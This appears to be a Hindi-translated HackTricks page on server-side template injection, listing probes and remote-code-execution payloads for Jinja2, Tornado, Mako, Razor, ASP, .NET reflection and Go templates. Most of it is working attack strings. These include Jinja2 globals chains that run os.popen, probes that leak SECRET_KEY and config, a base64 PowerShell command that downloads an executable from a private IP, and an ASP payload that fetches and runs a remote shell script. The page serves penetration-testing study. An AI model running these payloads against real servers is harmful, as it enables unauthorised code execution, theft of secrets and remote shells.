नीचे दिए गए पृष्ठ को देखें ताकि आप Python में arbitrary command execution bypassing sandboxes के बारे में ट्रिक्स सीख सकें:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

अधिक जानकारी

Jinja2 (Python)

Official website

Jinja2 Python के लिए एक पूर्ण-विशेषताओं वाला टेम्पलेट इंजन है। इसमें पूर्ण unicode समर्थन, एक वैकल्पिक एकीकृत sandboxed execution environment है, यह व्यापक रूप से उपयोग किया जाता है और BSD लाइसेंस के तहत उपलब्ध है।

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} Nothing
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - टेम्पलेट प्रारूप

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE जो builtins पर निर्भर नहीं है __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Jinja का दुरुपयोग करने के बारे में अधिक जानकारी:

Jinja2 SSTI

अन्य payloads: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

अधिक जानकारी

अन्य Python

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= Success
  • @() <= Success
  • @("{{code}}") <= Success
  • @ <=Success
  • @{} <= ERROR!
  • @{ <= ERRROR!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

The .NET System.Diagnostics.Process.Start method can be used to start any process on the server and thus create a webshell. You can find a vulnerable webapp example in https://github.com/cnotin/RazorVulnerableApp

अधिक जानकारी

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nothing
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

अधिक जानकारी

.Net प्रतिबंधों को बायपास करना

.NET Reflection mechanisms का उपयोग blacklisting को बायपास करने या assembly में classes के मौजूद न होने की स्थिति में किया जा सकता है। DLL’s को runtime पर लोड किया जा सकता है और basic objects से methods और properties तक पहुँचा जा सकता है।

Dll’s को निम्न तरीके से लोड किया जा सकता है:

  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))} - फ़ाइल सिस्टम से।
  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])} - सीधे request से।

पूर्ण कमांड निष्पादन:

{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}

अधिक जानकारी

Mojolicious (Perl)

यहाँ तक कि यह Perl है, यह Ruby में ERB जैसे टैग का उपयोग करता है।

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI in GO

Go के template engine में, इसके उपयोग की पुष्टि विशिष्ट payloads से की जा सकती है:

  • {{ . }}: डेटा संरचना इनपुट को प्रकट करता है। उदाहरण के लिए, यदि एक object जिसमें Password attribute है पास किया गया है, तो {{ .Password }} इसे उजागर कर सकता है।
  • {{printf "%s" "ssti" }}: अपेक्षित है कि यह string “ssti” प्रदर्शित करेगा।
  • {{html "ssti"}}, {{js "ssti"}}: ये payloads “ssti” लौटाना चाहिए बिना “html” या “js” जोड़ने के। आगे के निर्देशों को Go documentation में यहां देखा जा सकता है।

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

XSS Exploitation

text/template package के साथ, XSS सीधे payload डालकर सरल हो सकता है। इसके विपरीत, html/template package इसको रोकने के लिए response को encode करता है (उदा., {{"<script>alert(1)</script>"}} का परिणाम &lt;script&gt;alert(1)&lt;/script&gt; होता है)। फिर भी, Go में template की परिभाषा और invocation इस encoding को बायपास कर सकती है: {{define “T1”}}alert(1){{end}} {{template “T1”}}

vbnet Copy code

RCE Exploitation

RCE exploitation html/template और text/template के बीच काफी भिन्न होता है। text/template module किसी भी public function को सीधे कॉल करने की अनुमति देता है (“call” value का उपयोग करके), जो html/template में अनुमति नहीं है। इन modules के लिए documentation यहां html/template के लिए और यहां text/template के लिए उपलब्ध है।

Go में SSTI के माध्यम से RCE के लिए, object के methods को invoke किया जा सकता है। उदाहरण के लिए, यदि प्रदान किया गया object एक System method रखता है जो commands चलाता है, तो इसे {{ .System "ls" }} की तरह exploit किया जा सकता है। आम तौर पर इसे exploit करने के लिए source code तक पहुँच आवश्यक होती है, जैसा कि दिए गए उदाहरण में है:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

अधिक जानकारी

LESS (CSS Preprocessor)

LESS एक लोकप्रिय CSS pre-processor है जो variables, mixins, functions और शक्तिशाली @import निर्देश जोड़ता है। कम्पाइलेशन के दौरान LESS इंजन @import स्टेटमेंट्स में संदर्भित संसाधनों को प्राप्त करेगा और जब (inline) विकल्प उपयोग किया जाए तो उनके कंटेंट को परिणामस्वरूप CSS में embed (“inline”) कर देगा।

{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}

अधिक Exploits

अधिक exploits के लिए https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection के बाकी हिस्से को देखें। साथ ही आप रोचक tags की जानकारी https://github.com/DiogoMRSilva/websitesVulnerableToSSTI में पा सकते हैं।

BlackHat PDF

संबंधित सहायता

यदि आपको लगता है कि यह उपयोगी हो सकता है, तो पढ़ें:

टूल्स

Brute-Force Detection List

Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें